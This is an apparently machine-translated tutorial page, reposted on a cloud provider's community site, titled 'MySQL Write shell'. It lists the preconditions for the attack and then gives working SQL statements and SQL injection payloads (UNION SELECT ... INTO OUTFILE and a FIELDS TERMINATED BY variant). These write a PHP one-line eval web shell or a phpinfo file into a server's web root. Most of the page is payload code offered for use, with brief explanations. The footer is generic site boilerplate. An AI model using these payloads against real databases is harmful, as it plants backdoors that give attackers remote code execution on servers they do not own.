MySQL Write shell

Source: Internet
Author: User

The following conditions need to be met:
    1. Root Permissions
    2. GPC off (can use single quotes)
    3. have absolute path (read file can not, write file must)
    4. No configuration –secure-file-priv


Drop TABLE IF EXISTS temp; Delete if temp is present
Create TABLE Temp (cmd text not NULL); Create a temp table with a CMD field inside it
Insert into temp (cmd) VALUES (' <? php eval_r ($_post[cmd));? > '); Insert a word trojan into the temp table
Select cmd from temp to out file ' f:/wwwroot/eval.php '; Query a sentence in the Temp table and import the results into eval.php
Drop TABLE IF EXISTS temp; Delete Temp



UNION Select 1,2,3,4,5,6,7,8,9,10,11,12union Select, ' Zerosoul ', 4,5,6,7,8,9,10,11,12/*, The Zerosoul is displayed where the page last displayed 3.
That is, if our SELECT statement is not followed by a from table statement, we say that the queried number or character is returned directly to the query results.

1. Union Write Shell
id=2) union Select 1,2,3,4,5,6,7, ' <? Phpinfo ();?> ' into outfile '/home/wwwroot/lu4n.com/luan_phpinfo.php '

2. No union

id=2) into outfile '/home/wwwroot/lu4n.com/luan_phpinfo.php ' fields terminated by ' <? Phpinfo ();?> '

such as SELECT * from users to outfile ' C:\1.txt ' fields terminated by "<? Phpinfo ();?> "

With this idea, the above large paragraph to a sentence of the SQL code can be directly simplified to a sentence:

Select ' <? PHP eval_r ($_post[cmd]);? > ' into outfile ' f:/wwwroot/eval.php ';

MySQL Write shell

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.